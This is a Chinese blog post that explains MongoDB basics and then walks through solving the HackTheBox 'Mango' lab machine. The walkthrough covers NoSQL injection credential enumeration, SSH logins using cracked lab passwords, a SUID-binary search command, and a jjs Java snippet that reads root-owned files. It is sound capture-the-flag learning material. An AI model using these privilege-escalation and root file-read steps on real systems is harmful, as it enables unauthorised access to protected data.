做起来实在头疼,连接太慢,等到自闭
后面就做 vulnhub 的了
这个靶机,巨慢
但是另外了解了一些 NoSQL 的知识就补充在文章里面了
语雀可能阅读体验更好一点
https://www.yuque.com/hxfqg9/bt9vi8/ub1ewz
https://www.yuque.com/hxfqg9/bt9vi8/tp9x81
Nosql/MangoDB基础
NoSQL(NoSQL = Not Only SQL ),意即"不仅仅是SQL"。
NoSQL 是指非关系型数据库,用于超大规模的数据管理,这类数据不需要存储不需要固定的格式,无需多余操作就能横向扩展
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value),组成,MongoDB 文档类似于 JSON 对象,字段值可以包含其他文档、数组、文档数组
对比一下:
基础命令
创建数据库:use database_name,如果有直接拿来用,没有会自动创建 use yichen
删除数据库:db.dropDatabase()
先 use 再删除
创建集合(相当于 mysql 中的表):db.createCollection('hack')
删除集合:db.hack.drop()
查看集合用的是:show tables
或者 show collections
插入数据:db.yichen.insert({'name':'yichen'})
插入数据用逗号隔开:
代码语言:javascript复制db.writeup.insert({name:'yichen',
date:'2020-3-11',
tags:'web',
flag:'flag{dhcbuyebcadwe}',
blog:'https://www.yuque.com/hxfqg9'})
也可以先把数据定义为一个变量再插入到文档里
更新:
db.writeup.update({name:'yiyichen'},{$set:{name:'y1chen'}})
会把 name 为 yiyichen 的 name 改为 y1chen
pretty() 可以更加美观的显示结果
移除文档:db.writeup.remove({'name':'y1chen'})
and 条件(多个条件用逗号隔开):
db.writeup.find({key1:value1, key2:value2}).pretty()
or 条件:
db.writeup.find({$or:[{"name":"yichen"},{"name": "yiyichen"}]}).pretty()
Mango靶机
nmap扫描端口
同时发现了一个网址:在 443 端口 staging-order.mango.htb
vim /etc/hosts,把 hosts 改一下
代码语言:javascript复制10.10.10.162 staging-order.mango.htb
访问得到一个登录框
有个专门爆破 nosql 用户名和密码的脚本:
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
太慢了,就直接用大佬的结果了
mango:h3mXK8RhU~f{]f5H admin:t9KcS3>!0B#2
可以直接用 ssh 登录到 mango
ssh mango@10.10.10.162
su admin 切换到 admin 用户,在 admin 的目录下面找到 user.txt
代码语言:javascript复制find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
可以发现 jjs 是用 root 运行的
运行 jjs
这样输入:
代码语言:javascript复制
代码语言:javascript复制var filename = "/root/root.txt";
var content = new java.lang.String(
java.nio.file.Files.readAllBytes(
java.nio.file.Paths.get(filename)
)
);
print(content)
就可以拿到 root.txt
实在是佩服这个网,连不上,不截图了,也没发交 flag 了 Orz
参考:
https://rmccarth.info/post/htb/mango/